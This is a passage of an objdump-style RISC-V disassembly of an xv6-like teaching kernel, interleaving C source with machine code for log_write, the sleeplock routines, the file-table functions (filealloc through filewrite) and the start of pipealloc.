outside of trans"); for (i = 0; i < log.lh.n; i++) { 800048a6: 4781 li a5,0 800048a8: 06c05563 blez a2,80004912 <log_write+0xb0> if (log.lh.block[i] == b->blockno) // log absorbtion 800048ac: 44cc lw a1,12(s1) 800048ae: 0001d717 auipc a4,0x1d 800048b2: 20a70713 addi a4,a4,522 # 80021ab8 <log+0x30> for (i = 0; i < log.lh.n; i++) { 800048b6: 4781 li a5,0 if (log.lh.block[i] == b->blockno) // log absorbtion 800048b8: 4314 lw a3,0(a4) 800048ba: 04b68c63 beq a3,a1,80004912 <log_write+0xb0> for (i = 0; i < log.lh.n; i++) { 800048be: 2785 addiw a5,a5,1 800048c0: 0711 addi a4,a4,4 800048c2: fef61be3 bne a2,a5,800048b8 <log_write+0x56> break; } log.lh.block[i] = b->blockno; 800048c6: 0621 addi a2,a2,8 800048c8: 060a slli a2,a2,0x2 800048ca: 0001d797 auipc a5,0x1d 800048ce: 1be78793 addi a5,a5,446 # 80021a88 <log> 800048d2: 963e add a2,a2,a5 800048d4: 44dc lw a5,12(s1) 800048d6: ca1c sw a5,16(a2) if (i == log.lh.n) { // Add new block to log? bpin(b); 800048d8: 8526 mv a0,s1 800048da: fffff097 auipc ra,0xfffff 800048de: da4080e7 jalr -604(ra) # 8000367e <bpin> log.lh.n++; 800048e2: 0001d717 auipc a4,0x1d 800048e6: 1a670713 addi a4,a4,422 # 80021a88 <log> 800048ea: 575c lw a5,44(a4) 800048ec: 2785 addiw a5,a5,1 800048ee: d75c sw a5,44(a4) 800048f0: a835 j 8000492c <log_write+0xca> panic("too big a transaction"); 800048f2: 00004517 auipc a0,0x4 800048f6: f7e50513 addi a0,a0,-130 # 80008870 <syscalls+0x240> 800048fa: ffffc097 auipc ra,0xffffc 800048fe: c30080e7 jalr -976(ra) # 8000052a <panic> panic("log_write outside of trans"); 80004902: 00004517 auipc a0,0x4 80004906: f8650513 addi a0,a0,-122 # 80008888 <syscalls+0x258> 8000490a: ffffc097 auipc ra,0xffffc 8000490e: c20080e7 jalr -992(ra) # 8000052a <panic> log.lh.block[i] = b->blockno; 80004912: 00878713 addi a4,a5,8 80004916: 00271693 slli a3,a4,0x2 8000491a: 0001d717 auipc a4,0x1d 8000491e: 16e70713 addi a4,a4,366 # 80021a88 <log> 80004922: 9736 add a4,a4,a3 80004924: 44d4 lw a3,12(s1) 80004926: cb14 sw a3,16(a4) if (i == log.lh.n) { // Add new block to log? 80004928: faf608e3 beq a2,a5,800048d8 <log_write+0x76> } release(&log.lock); 8000492c: 0001d517 auipc a0,0x1d 80004930: 15c50513 addi a0,a0,348 # 80021a88 <log> 80004934: ffffc097 auipc ra,0xffffc 80004938: 342080e7 jalr 834(ra) # 80000c76 <release> } 8000493c: 60e2 ld ra,24(sp) 8000493e: 6442 ld s0,16(sp) 80004940: 64a2 ld s1,8(sp) 80004942: 6902 ld s2,0(sp) 80004944: 6105 addi sp,sp,32 80004946: 8082 ret 0000000080004948 <initsleeplock>: #include "proc.h" #include "sleeplock.h" void initsleeplock(struct sleeplock *lk, char *name) { 80004948: 1101 addi sp,sp,-32 8000494a: ec06 sd ra,24(sp) 8000494c: e822 sd s0,16(sp) 8000494e: e426 sd s1,8(sp) 80004950: e04a sd s2,0(sp) 80004952: 1000 addi s0,sp,32 80004954: 84aa mv s1,a0 80004956: 892e mv s2,a1 initlock(&lk->lk, "sleep lock"); 80004958: 00004597 auipc a1,0x4 8000495c: f5058593 addi a1,a1,-176 # 800088a8 <syscalls+0x278> 80004960: 0521 addi a0,a0,8 80004962: ffffc097 auipc ra,0xffffc 80004966: 1d0080e7 jalr 464(ra) # 80000b32 <initlock> lk->name = name; 8000496a: 0324b023 sd s2,32(s1) lk->locked = 0; 8000496e: 0004a023 sw zero,0(s1) lk->pid = 0; 80004972: 0204a423 sw zero,40(s1) } 80004976: 60e2 ld ra,24(sp) 80004978: 6442 ld s0,16(sp) 8000497a: 64a2 ld s1,8(sp) 8000497c: 6902 ld s2,0(sp) 8000497e: 6105 addi sp,sp,32 80004980: 8082 ret 0000000080004982 <acquiresleep>: void acquiresleep(struct sleeplock *lk) { 80004982: 1101 addi sp,sp,-32 80004984: ec06 sd ra,24(sp) 80004986: e822 sd s0,16(sp) 80004988: e426 sd s1,8(sp) 8000498a: e04a sd s2,0(sp) 8000498c: 1000 addi s0,sp,32 8000498e: 84aa mv s1,a0 acquire(&lk->lk); 80004990: 00850913 addi s2,a0,8 80004994: 854a mv a0,s2 80004996: ffffc097 auipc ra,0xffffc 8000499a: 22c080e7 jalr 556(ra) # 80000bc2 <acquire> while (lk->locked) { 8000499e: 409c lw a5,0(s1) 800049a0: cb89 beqz a5,800049b2 <acquiresleep+0x30> sleep(lk, &lk->lk); 800049a2: 85ca mv a1,s2 800049a4: 8526 mv a0,s1 800049a6: ffffe097 auipc ra,0xffffe 800049aa: 820080e7 jalr -2016(ra) # 800021c6 <sleep> while (lk->locked) { 800049ae: 409c lw a5,0(s1) 800049b0: fbed bnez a5,800049a2 <acquiresleep+0x20> } lk->locked = 1; 800049b2: 4785 li a5,1 800049b4: c09c sw a5,0(s1) lk->pid = myproc()->pid; 800049b6: ffffd097 auipc ra,0xffffd 800049ba: fe0080e7 jalr -32(ra) # 80001996 <myproc> 800049be: 591c lw a5,48(a0) 800049c0: d49c sw a5,40(s1) release(&lk->lk); 800049c2: 854a mv a0,s2 800049c4: ffffc097 auipc ra,0xffffc 800049c8: 2b2080e7 jalr 690(ra) # 80000c76 <release> } 800049cc: 60e2 ld ra,24(sp) 800049ce: 6442 ld s0,16(sp) 800049d0: 64a2 ld s1,8(sp) 800049d2: 6902 ld s2,0(sp) 800049d4: 6105 addi sp,sp,32 800049d6: 8082 ret 00000000800049d8 <releasesleep>: void releasesleep(struct sleeplock *lk) { 800049d8: 1101 addi sp,sp,-32 800049da: ec06 sd ra,24(sp) 800049dc: e822 sd s0,16(sp) 800049de: e426 sd s1,8(sp) 800049e0: e04a sd s2,0(sp) 800049e2: 1000 addi s0,sp,32 800049e4: 84aa mv s1,a0 acquire(&lk->lk); 800049e6: 00850913 addi s2,a0,8 800049ea: 854a mv a0,s2 800049ec: ffffc097 auipc ra,0xffffc 800049f0: 1d6080e7 jalr 470(ra) # 80000bc2 <acquire> lk->locked = 0; 800049f4: 0004a023 sw zero,0(s1) lk->pid = 0; 800049f8: 0204a423 sw zero,40(s1) wakeup(lk); 800049fc: 8526 mv a0,s1 800049fe: ffffe097 auipc ra,0xffffe 80004a02: 954080e7 jalr -1708(ra) # 80002352 <wakeup> release(&lk->lk); 80004a06: 854a mv a0,s2 80004a08: ffffc097 auipc ra,0xffffc 80004a0c: 26e080e7 jalr 622(ra) # 80000c76 <release> } 80004a10: 60e2 ld ra,24(sp) 80004a12: 6442 ld s0,16(sp) 80004a14: 64a2 ld s1,8(sp) 80004a16: 6902 ld s2,0(sp) 80004a18: 6105 addi sp,sp,32 80004a1a: 8082 ret 0000000080004a1c <holdingsleep>: int holdingsleep(struct sleeplock *lk) { 80004a1c: 7179 addi sp,sp,-48 80004a1e: f406 sd ra,40(sp) 80004a20: f022 sd s0,32(sp) 80004a22: ec26 sd s1,24(sp) 80004a24: e84a sd s2,16(sp) 80004a26: e44e sd s3,8(sp) 80004a28: 1800 addi s0,sp,48 80004a2a: 84aa mv s1,a0 int r; acquire(&lk->lk); 80004a2c: 00850913 addi s2,a0,8 80004a30: 854a mv a0,s2 80004a32: ffffc097 auipc ra,0xffffc 80004a36: 190080e7 jalr 400(ra) # 80000bc2 <acquire> r = lk->locked && (lk->pid == myproc()->pid); 80004a3a: 409c lw a5,0(s1) 80004a3c: ef99 bnez a5,80004a5a <holdingsleep+0x3e> 80004a3e: 4481 li s1,0 release(&lk->lk); 80004a40: 854a mv a0,s2 80004a42: ffffc097 auipc ra,0xffffc 80004a46: 234080e7 jalr 564(ra) # 80000c76 <release> return r; } 80004a4a: 8526 mv a0,s1 80004a4c: 70a2 ld ra,40(sp) 80004a4e: 7402 ld s0,32(sp) 80004a50: 64e2 ld s1,24(sp) 80004a52: 6942 ld s2,16(sp) 80004a54: 69a2 ld s3,8(sp) 80004a56: 6145 addi sp,sp,48 80004a58: 8082 ret r = lk->locked && (lk->pid == myproc()->pid); 80004a5a: 0284a983 lw s3,40(s1) 80004a5e: ffffd097 auipc ra,0xffffd 80004a62: f38080e7 jalr -200(ra) # 80001996 <myproc> 80004a66: 5904 lw s1,48(a0) 80004a68: 413484b3 sub s1,s1,s3 80004a6c: 0014b493 seqz s1,s1 80004a70: bfc1 j 80004a40 <holdingsleep+0x24> 0000000080004a72 <fileinit>: struct file file[NFILE]; } ftable; void fileinit(void) { 80004a72: 1141 addi sp,sp,-16 80004a74: e406 sd ra,8(sp) 80004a76: e022 sd s0,0(sp) 80004a78: 0800 addi s0,sp,16 initlock(&ftable.lock, "ftable"); 80004a7a: 00004597 auipc a1,0x4 80004a7e: e3e58593 addi a1,a1,-450 # 800088b8 <syscalls+0x288> 80004a82: 0001d517 auipc a0,0x1d 80004a86: 14e50513 addi a0,a0,334 # 80021bd0 <ftable> 80004a8a: ffffc097 auipc ra,0xffffc 80004a8e: 0a8080e7 jalr 168(ra) # 80000b32 <initlock> } 80004a92: 60a2 ld ra,8(sp) 80004a94: 6402 ld s0,0(sp) 80004a96: 0141 addi sp,sp,16 80004a98: 8082 ret 0000000080004a9a <filealloc>: // Allocate a file structure. struct file* filealloc(void) { 80004a9a: 1101 addi sp,sp,-32 80004a9c: ec06 sd ra,24(sp) 80004a9e: e822 sd s0,16(sp) 80004aa0: e426 sd s1,8(sp) 80004aa2: 1000 addi s0,sp,32 struct file *f; acquire(&ftable.lock); 80004aa4: 0001d517 auipc a0,0x1d 80004aa8: 12c50513 addi a0,a0,300 # 80021bd0 <ftable> 80004aac: ffffc097 auipc ra,0xffffc 80004ab0: 116080e7 jalr 278(ra) # 80000bc2 <acquire> for(f = ftable.file; f < ftable.file + NFILE; f++){ 80004ab4: 0001d497 auipc s1,0x1d 80004ab8: 13448493 addi s1,s1,308 # 80021be8 <ftable+0x18> 80004abc: 0001e717 auipc a4,0x1e 80004ac0: 0cc70713 addi a4,a4,204 # 80022b88 <ftable+0xfb8> if(f->ref == 0){ 80004ac4: 40dc lw a5,4(s1) 80004ac6: cf99 beqz a5,80004ae4 <filealloc+0x4a> for(f = ftable.file; f < ftable.file + NFILE; f++){ 80004ac8: 02848493 addi s1,s1,40 80004acc: fee49ce3 bne s1,a4,80004ac4 <filealloc+0x2a> f->ref = 1; release(&ftable.lock); return f; } } release(&ftable.lock); 80004ad0: 0001d517 auipc a0,0x1d 80004ad4: 10050513 addi a0,a0,256 # 80021bd0 <ftable> 80004ad8: ffffc097 auipc ra,0xffffc 80004adc: 19e080e7 jalr 414(ra) # 80000c76 <release> return 0; 80004ae0: 4481 li s1,0 80004ae2: a819 j 80004af8 <filealloc+0x5e> f->ref = 1; 80004ae4: 4785 li a5,1 80004ae6: c0dc sw a5,4(s1) release(&ftable.lock); 80004ae8: 0001d517 auipc a0,0x1d 80004aec: 0e850513 addi a0,a0,232 # 80021bd0 <ftable> 80004af0: ffffc097 auipc ra,0xffffc 80004af4: 186080e7 jalr 390(ra) # 80000c76 <release> } 80004af8: 8526 mv a0,s1 80004afa: 60e2 ld ra,24(sp) 80004afc: 6442 ld s0,16(sp) 80004afe: 64a2 ld s1,8(sp) 80004b00: 6105 addi sp,sp,32 80004b02: 8082 ret 0000000080004b04 <filedup>: // Increment ref count for file f. struct file* filedup(struct file *f) { 80004b04: 1101 addi sp,sp,-32 80004b06: ec06 sd ra,24(sp) 80004b08: e822 sd s0,16(sp) 80004b0a: e426 sd s1,8(sp) 80004b0c: 1000 addi s0,sp,32 80004b0e: 84aa mv s1,a0 acquire(&ftable.lock); 80004b10: 0001d517 auipc a0,0x1d 80004b14: 0c050513 addi a0,a0,192 # 80021bd0 <ftable> 80004b18: ffffc097 auipc ra,0xffffc 80004b1c: 0aa080e7 jalr 170(ra) # 80000bc2 <acquire> if(f->ref < 1) 80004b20: 40dc lw a5,4(s1) 80004b22: 02f05263 blez a5,80004b46 <filedup+0x42> panic("filedup"); f->ref++; 80004b26: 2785 addiw a5,a5,1 80004b28: c0dc sw a5,4(s1) release(&ftable.lock); 80004b2a: 0001d517 auipc a0,0x1d 80004b2e: 0a650513 addi a0,a0,166 # 80021bd0 <ftable> 80004b32: ffffc097 auipc ra,0xffffc 80004b36: 144080e7 jalr 324(ra) # 80000c76 <release> return f; } 80004b3a: 8526 mv a0,s1 80004b3c: 60e2 ld ra,24(sp) 80004b3e: 6442 ld s0,16(sp) 80004b40: 64a2 ld s1,8(sp) 80004b42: 6105 addi sp,sp,32 80004b44: 8082 ret panic("filedup"); 80004b46: 00004517 auipc a0,0x4 80004b4a: d7a50513 addi a0,a0,-646 # 800088c0 <syscalls+0x290> 80004b4e: ffffc097 auipc ra,0xffffc 80004b52: 9dc080e7 jalr -1572(ra) # 8000052a <panic> 0000000080004b56 <fileclose>: // Close file f. (Decrement ref count, close when reaches 0.) void fileclose(struct file *f) { 80004b56: 7139 addi sp,sp,-64 80004b58: fc06 sd ra,56(sp) 80004b5a: f822 sd s0,48(sp) 80004b5c: f426 sd s1,40(sp) 80004b5e: f04a sd s2,32(sp) 80004b60: ec4e sd s3,24(sp) 80004b62: e852 sd s4,16(sp) 80004b64: e456 sd s5,8(sp) 80004b66: 0080 addi s0,sp,64 80004b68: 84aa mv s1,a0 struct file ff; acquire(&ftable.lock); 80004b6a: 0001d517 auipc a0,0x1d 80004b6e: 06650513 addi a0,a0,102 # 80021bd0 <ftable> 80004b72: ffffc097 auipc ra,0xffffc 80004b76: 050080e7 jalr 80(ra) # 80000bc2 <acquire> if(f->ref < 1) 80004b7a: 40dc lw a5,4(s1) 80004b7c: 06f05163 blez a5,80004bde <fileclose+0x88> panic("fileclose"); if(--f->ref > 0){ 80004b80: 37fd addiw a5,a5,-1 80004b82: 0007871b sext.w a4,a5 80004b86: c0dc sw a5,4(s1) 80004b88: 06e04363 bgtz a4,80004bee <fileclose+0x98> release(&ftable.lock); return; } ff = *f; 80004b8c: 0004a903 lw s2,0(s1) 80004b90: 0094ca83 lbu s5,9(s1) 80004b94: 0104ba03 ld s4,16(s1) 80004b98: 0184b983 ld s3,24(s1) f->ref = 0; 80004b9c: 0004a223 sw zero,4(s1) f->type = FD_NONE; 80004ba0: 0004a023 sw zero,0(s1) release(&ftable.lock); 80004ba4: 0001d517 auipc a0,0x1d 80004ba8: 02c50513 addi a0,a0,44 # 80021bd0 <ftable> 80004bac: ffffc097 auipc ra,0xffffc 80004bb0: 0ca080e7 jalr 202(ra) # 80000c76 <release> if(ff.type == FD_PIPE){ 80004bb4: 4785 li a5,1 80004bb6: 04f90d63 beq s2,a5,80004c10 <fileclose+0xba> pipeclose(ff.pipe, ff.writable); } else if(ff.type == FD_INODE || ff.type == FD_DEVICE){ 80004bba: 3979 addiw s2,s2,-2 80004bbc: 4785 li a5,1 80004bbe: 0527e063 bltu a5,s2,80004bfe <fileclose+0xa8> begin_op(); 80004bc2: 00000097 auipc ra,0x0 80004bc6: ac8080e7 jalr -1336(ra) # 8000468a <begin_op> iput(ff.ip); 80004bca: 854e mv a0,s3 80004bcc: fffff097 auipc ra,0xfffff 80004bd0: 2a2080e7 jalr 674(ra) # 80003e6e <iput> end_op(); 80004bd4: 00000097 auipc ra,0x0 80004bd8: b36080e7 jalr -1226(ra) # 8000470a <end_op> 80004bdc: a00d j 80004bfe <fileclose+0xa8> panic("fileclose"); 80004bde: 00004517 auipc a0,0x4 80004be2: cea50513 addi a0,a0,-790 # 800088c8 <syscalls+0x298> 80004be6: ffffc097 auipc ra,0xffffc 80004bea: 944080e7 jalr -1724(ra) # 8000052a <panic> release(&ftable.lock); 80004bee: 0001d517 auipc a0,0x1d 80004bf2: fe250513 addi a0,a0,-30 # 80021bd0 <ftable> 80004bf6: ffffc097 auipc ra,0xffffc 80004bfa: 080080e7 jalr 128(ra) # 80000c76 <release> } } 80004bfe: 70e2 ld ra,56(sp) 80004c00: 7442 ld s0,48(sp) 80004c02: 74a2 ld s1,40(sp) 80004c04: 7902 ld s2,32(sp) 80004c06: 69e2 ld s3,24(sp) 80004c08: 6a42 ld s4,16(sp) 80004c0a: 6aa2 ld s5,8(sp) 80004c0c: 6121 addi sp,sp,64 80004c0e: 8082 ret pipeclose(ff.pipe, ff.writable); 80004c10: 85d6 mv a1,s5 80004c12: 8552 mv a0,s4 80004c14: 00000097 auipc ra,0x0 80004c18: 34c080e7 jalr 844(ra) # 80004f60 <pipeclose> 80004c1c: b7cd j 80004bfe <fileclose+0xa8> 0000000080004c1e <filestat>: // Get metadata about file f. // addr is a user virtual address, pointing to a struct stat. int filestat(struct file *f, uint64 addr) { 80004c1e: 715d addi sp,sp,-80 80004c20: e486 sd ra,72(sp) 80004c22: e0a2 sd s0,64(sp) 80004c24: fc26 sd s1,56(sp) 80004c26: f84a sd s2,48(sp) 80004c28: f44e sd s3,40(sp) 80004c2a: 0880 addi s0,sp,80 80004c2c: 84aa mv s1,a0 80004c2e: 89ae mv s3,a1 struct proc *p = myproc(); 80004c30: ffffd097 auipc ra,0xffffd 80004c34: d66080e7 jalr -666(ra) # 80001996 <myproc> struct stat st; if(f->type == FD_INODE || f->type == FD_DEVICE){ 80004c38: 409c lw a5,0(s1) 80004c3a: 37f9 addiw a5,a5,-2 80004c3c: 4705 li a4,1 80004c3e: 04f76763 bltu a4,a5,80004c8c <filestat+0x6e> 80004c42: 892a mv s2,a0 ilock(f->ip); 80004c44: 6c88 ld a0,24(s1) 80004c46: fffff097 auipc ra,0xfffff 80004c4a: 06e080e7 jalr 110(ra) # 80003cb4 <ilock> stati(f->ip, &st); 80004c4e: fb840593 addi a1,s0,-72 80004c52: 6c88 ld a0,24(s1) 80004c54: fffff097 auipc ra,0xfffff 80004c58: 2ea080e7 jalr 746(ra) # 80003f3e <stati> iunlock(f->ip); 80004c5c: 6c88 ld a0,24(s1) 80004c5e: fffff097 auipc ra,0xfffff 80004c62: 118080e7 jalr 280(ra) # 80003d76 <iunlock> if(copyout(p->pagetable, addr, (char *)&st, sizeof(st)) < 0) 80004c66: 46e1 li a3,24 80004c68: fb840613 addi a2,s0,-72 80004c6c: 85ce mv a1,s3 80004c6e: 07093503 ld a0,112(s2) 80004c72: ffffd097 auipc ra,0xffffd 80004c76: 9cc080e7 jalr -1588(ra) # 8000163e <copyout> 80004c7a: 41f5551b sraiw a0,a0,0x1f return -1; return 0; } return -1; } 80004c7e: 60a6 ld ra,72(sp) 80004c80: 6406 ld s0,64(sp) 80004c82: 74e2 ld s1,56(sp) 80004c84: 7942 ld s2,48(sp) 80004c86: 79a2 ld s3,40(sp) 80004c88: 6161 addi sp,sp,80 80004c8a: 8082 ret return -1; 80004c8c: 557d li a0,-1 80004c8e: bfc5 j 80004c7e <filestat+0x60> 0000000080004c90 <fileread>: // Read from file f. // addr is a user virtual address. int fileread(struct file *f, uint64 addr, int n) { 80004c90: 7179 addi sp,sp,-48 80004c92: f406 sd ra,40(sp) 80004c94: f022 sd s0,32(sp) 80004c96: ec26 sd s1,24(sp) 80004c98: e84a sd s2,16(sp) 80004c9a: e44e sd s3,8(sp) 80004c9c: 1800 addi s0,sp,48 int r = 0; if(f->readable == 0) 80004c9e: 00854783 lbu a5,8(a0) 80004ca2: c3d5 beqz a5,80004d46 <fileread+0xb6> 80004ca4: 84aa mv s1,a0 80004ca6: 89ae mv s3,a1 80004ca8: 8932 mv s2,a2 return -1; if(f->type == FD_PIPE){ 80004caa: 411c lw a5,0(a0) 80004cac: 4705 li a4,1 80004cae: 04e78963 beq a5,a4,80004d00 <fileread+0x70> r = piperead(f->pipe, addr, n); } else if(f->type == FD_DEVICE){ 80004cb2: 470d li a4,3 80004cb4: 04e78d63 beq a5,a4,80004d0e <fileread+0x7e> if(f->major < 0 || f->major >= NDEV || !devsw[f->major].read) return -1; r = devsw[f->major].read(1, addr, n); } else if(f->type == FD_INODE){ 80004cb8: 4709 li a4,2 80004cba: 06e79e63 bne a5,a4,80004d36 <fileread+0xa6> ilock(f->ip); 80004cbe: 6d08 ld a0,24(a0) 80004cc0: fffff097 auipc ra,0xfffff 80004cc4: ff4080e7 jalr -12(ra) # 80003cb4 <ilock> if((r = readi(f->ip, 1, addr, f->off, n)) > 0) 80004cc8: 874a mv a4,s2 80004cca: 5094 lw a3,32(s1) 80004ccc: 864e mv a2,s3 80004cce: 4585 li a1,1 80004cd0: 6c88 ld a0,24(s1) 80004cd2: fffff097 auipc ra,0xfffff 80004cd6: 296080e7 jalr 662(ra) # 80003f68 <readi> 80004cda: 892a mv s2,a0 80004cdc: 00a05563 blez a0,80004ce6 <fileread+0x56> f->off += r; 80004ce0: 509c lw a5,32(s1) 80004ce2: 9fa9 addw a5,a5,a0 80004ce4: d09c sw a5,32(s1) iunlock(f->ip); 80004ce6: 6c88 ld a0,24(s1) 80004ce8: fffff097 auipc ra,0xfffff 80004cec: 08e080e7 jalr 142(ra) # 80003d76 <iunlock> } else { panic("fileread"); } return r; } 80004cf0: 854a mv a0,s2 80004cf2: 70a2 ld ra,40(sp) 80004cf4: 7402 ld s0,32(sp) 80004cf6: 64e2 ld s1,24(sp) 80004cf8: 6942 ld s2,16(sp) 80004cfa: 69a2 ld s3,8(sp) 80004cfc: 6145 addi sp,sp,48 80004cfe: 8082 ret r = piperead(f->pipe, addr, n); 80004d00: 6908 ld a0,16(a0) 80004d02: 00000097 auipc ra,0x0 80004d06: 3c0080e7 jalr 960(ra) # 800050c2 <piperead> 80004d0a: 892a mv s2,a0 80004d0c: b7d5 j 80004cf0 <fileread+0x60> if(f->major < 0 || f->major >= NDEV || !devsw[f->major].read) 80004d0e: 02451783 lh a5,36(a0) 80004d12: 03079693 slli a3,a5,0x30 80004d16: 92c1 srli a3,a3,0x30 80004d18: 4725 li a4,9 80004d1a: 02d76863 bltu a4,a3,80004d4a <fileread+0xba> 80004d1e: 0792 slli a5,a5,0x4 80004d20: 0001d717 auipc a4,0x1d 80004d24: e1070713 addi a4,a4,-496 # 80021b30 <devsw> 80004d28: 97ba add a5,a5,a4 80004d2a: 639c ld a5,0(a5) 80004d2c: c38d beqz a5,80004d4e <fileread+0xbe> r = devsw[f->major].read(1, addr, n); 80004d2e: 4505 li a0,1 80004d30: 9782 jalr a5 80004d32: 892a mv s2,a0 80004d34: bf75 j 80004cf0 <fileread+0x60> panic("fileread"); 80004d36: 00004517 auipc a0,0x4 80004d3a: ba250513 addi a0,a0,-1118 # 800088d8 <syscalls+0x2a8> 80004d3e: ffffb097 auipc ra,0xffffb 80004d42: 7ec080e7 jalr 2028(ra) # 8000052a <panic> return -1; 80004d46: 597d li s2,-1 80004d48: b765 j 80004cf0 <fileread+0x60> return -1; 80004d4a: 597d li s2,-1 80004d4c: b755 j 80004cf0 <fileread+0x60> 80004d4e: 597d li s2,-1 80004d50: b745 j 80004cf0 <fileread+0x60> 0000000080004d52 <filewrite>: // Write to file f. // addr is a user virtual address. int filewrite(struct file *f, uint64 addr, int n) { 80004d52: 715d addi sp,sp,-80 80004d54: e486 sd ra,72(sp) 80004d56: e0a2 sd s0,64(sp) 80004d58: fc26 sd s1,56(sp) 80004d5a: f84a sd s2,48(sp) 80004d5c: f44e sd s3,40(sp) 80004d5e: f052 sd s4,32(sp) 80004d60: ec56 sd s5,24(sp) 80004d62: e85a sd s6,16(sp) 80004d64: e45e sd s7,8(sp) 80004d66: e062 sd s8,0(sp) 80004d68: 0880 addi s0,sp,80 int r, ret = 0; if(f->writable == 0) 80004d6a: 00954783 lbu a5,9(a0) 80004d6e: 10078663 beqz a5,80004e7a <filewrite+0x128> 80004d72: 892a mv s2,a0 80004d74: 8aae mv s5,a1 80004d76: 8a32 mv s4,a2 return -1; if(f->type == FD_PIPE){ 80004d78: 411c lw a5,0(a0) 80004d7a: 4705 li a4,1 80004d7c: 02e78263 beq a5,a4,80004da0 <filewrite+0x4e> ret = pipewrite(f->pipe, addr, n); } else if(f->type == FD_DEVICE){ 80004d80: 470d li a4,3 80004d82: 02e78663 beq a5,a4,80004dae <filewrite+0x5c> if(f->major < 0 || f->major >= NDEV || !devsw[f->major].write) return -1; ret = devsw[f->major].write(1, addr, n); } else if(f->type == FD_INODE){ 80004d86: 4709 li a4,2 80004d88: 0ee79163 bne a5,a4,80004e6a <filewrite+0x118> // and 2 blocks of slop for non-aligned writes. // this really belongs lower down, since writei() // might be writing a device like the console. int max = ((MAXOPBLOCKS-1-1-2) / 2) * BSIZE; int i = 0; while(i < n){ 80004d8c: 0ac05d63 blez a2,80004e46 <filewrite+0xf4> int i = 0; 80004d90: 4981 li s3,0 80004d92: 6b05 lui s6,0x1 80004d94: c00b0b13 addi s6,s6,-1024 # c00 <_entry-0x7ffff400> 80004d98: 6b85 lui s7,0x1 80004d9a: c00b8b9b addiw s7,s7,-1024 80004d9e: a861 j 80004e36 <filewrite+0xe4> ret = pipewrite(f->pipe, addr, n); 80004da0: 6908 ld a0,16(a0) 80004da2: 00000097 auipc ra,0x0 80004da6: 22e080e7 jalr 558(ra) # 80004fd0 <pipewrite> 80004daa: 8a2a mv s4,a0 80004dac: a045 j 80004e4c <filewrite+0xfa> if(f->major < 0 || f->major >= NDEV || !devsw[f->major].write) 80004dae: 02451783 lh a5,36(a0) 80004db2: 03079693 slli a3,a5,0x30 80004db6: 92c1 srli a3,a3,0x30 80004db8: 4725 li a4,9 80004dba: 0cd76263 bltu a4,a3,80004e7e <filewrite+0x12c> 80004dbe: 0792 slli a5,a5,0x4 80004dc0: 0001d717 auipc a4,0x1d 80004dc4: d7070713 addi a4,a4,-656 # 80021b30 <devsw> 80004dc8: 97ba add a5,a5,a4 80004dca: 679c ld a5,8(a5) 80004dcc: cbdd beqz a5,80004e82 <filewrite+0x130> ret = devsw[f->major].write(1, addr, n); 80004dce: 4505 li a0,1 80004dd0: 9782 jalr a5 80004dd2: 8a2a mv s4,a0 80004dd4: a8a5 j 80004e4c <filewrite+0xfa> 80004dd6: 00048c1b sext.w s8,s1 int n1 = n - i; if(n1 > max) n1 = max; begin_op(); 80004dda: 00000097 auipc ra,0x0 80004dde: 8b0080e7 jalr -1872(ra) # 8000468a <begin_op> ilock(f->ip); 80004de2: 01893503 ld a0,24(s2) 80004de6: fffff097 auipc ra,0xfffff 80004dea: ece080e7 jalr -306(ra) # 80003cb4 <ilock> if ((r = writei(f->ip, 1, addr + i, f->off, n1)) > 0) 80004dee: 8762 mv a4,s8 80004df0: 02092683 lw a3,32(s2) 80004df4: 01598633 add a2,s3,s5 80004df8: 4585 li a1,1 80004dfa: 01893503 ld a0,24(s2) 80004dfe: fffff097 auipc ra,0xfffff 80004e02: 262080e7 jalr 610(ra) # 80004060 <writei> 80004e06: 84aa mv s1,a0 80004e08: 00a05763 blez a0,80004e16 <filewrite+0xc4> f->off += r; 80004e0c: 02092783 lw a5,32(s2) 80004e10: 9fa9 addw a5,a5,a0 80004e12: 02f92023 sw a5,32(s2) iunlock(f->ip); 80004e16: 01893503 ld a0,24(s2) 80004e1a: fffff097 auipc ra,0xfffff 80004e1e: f5c080e7 jalr -164(ra) # 80003d76 <iunlock> end_op(); 80004e22: 00000097 auipc ra,0x0 80004e26: 8e8080e7 jalr -1816(ra) # 8000470a <end_op> if(r != n1){ 80004e2a: 009c1f63 bne s8,s1,80004e48 <filewrite+0xf6> // error from writei break; } i += r; 80004e2e: 013489bb addw s3,s1,s3 while(i < n){ 80004e32: 0149db63 bge s3,s4,80004e48 <filewrite+0xf6> int n1 = n - i; 80004e36: 413a07bb subw a5,s4,s3 if(n1 > max) 80004e3a: 84be mv s1,a5 80004e3c: 2781 sext.w a5,a5 80004e3e: f8fb5ce3 bge s6,a5,80004dd6 <filewrite+0x84> 80004e42: 84de mv s1,s7 80004e44: bf49 j 80004dd6 <filewrite+0x84> int i = 0; 80004e46: 4981 li s3,0 } ret = (i == n ? n : -1); 80004e48: 013a1f63 bne s4,s3,80004e66 <filewrite+0x114> } else { panic("filewrite"); } return ret; } 80004e4c: 8552 mv a0,s4 80004e4e: 60a6 ld ra,72(sp) 80004e50: 6406 ld s0,64(sp) 80004e52: 74e2 ld s1,56(sp) 80004e54: 7942 ld s2,48(sp) 80004e56: 79a2 ld s3,40(sp) 80004e58: 7a02 ld s4,32(sp) 80004e5a: 6ae2 ld s5,24(sp) 80004e5c: 6b42 ld s6,16(sp) 80004e5e: 6ba2 ld s7,8(sp) 80004e60: 6c02 ld s8,0(sp) 80004e62: 6161 addi sp,sp,80 80004e64: 8082 ret ret = (i == n ? n : -1); 80004e66: 5a7d li s4,-1 80004e68: b7d5 j 80004e4c <filewrite+0xfa> panic("filewrite"); 80004e6a: 00004517 auipc a0,0x4 80004e6e: a7e50513 addi a0,a0,-1410 # 800088e8 <syscalls+0x2b8> 80004e72: ffffb097 auipc ra,0xffffb 80004e76: 6b8080e7 jalr 1720(ra) # 8000052a <panic> return -1; 80004e7a: 5a7d li s4,-1 80004e7c: bfc1 j 80004e4c <filewrite+0xfa> return -1; 80004e7e: 5a7d li s4,-1 80004e80: b7f1 j 80004e4c <filewrite+0xfa> 80004e82: 5a7d li s4,-1 80004e84: b7e1 j 80004e4c <filewrite+0xfa> 0000000080004e86 <pipealloc>: int writeopen; // write fd is still open }; int pipealloc(struct file **f0, struct file **f1) { 80004e86: 7179 addi sp,sp,-48 80004e88: f406 sd ra,40(sp) 80004e8a: f022 sd s0,32(sp) 80004e8c: ec26 sd s1,24(sp) 80004e8e: e84a sd s2,16(sp) 80004e90: e44e sd s3,8(sp) 80004e92: e052 sd s4,0(sp) 80004e94: 1800 addi s0,sp,48 80004e96: 84aa mv s1,a0 80004e98: 8a2e mv 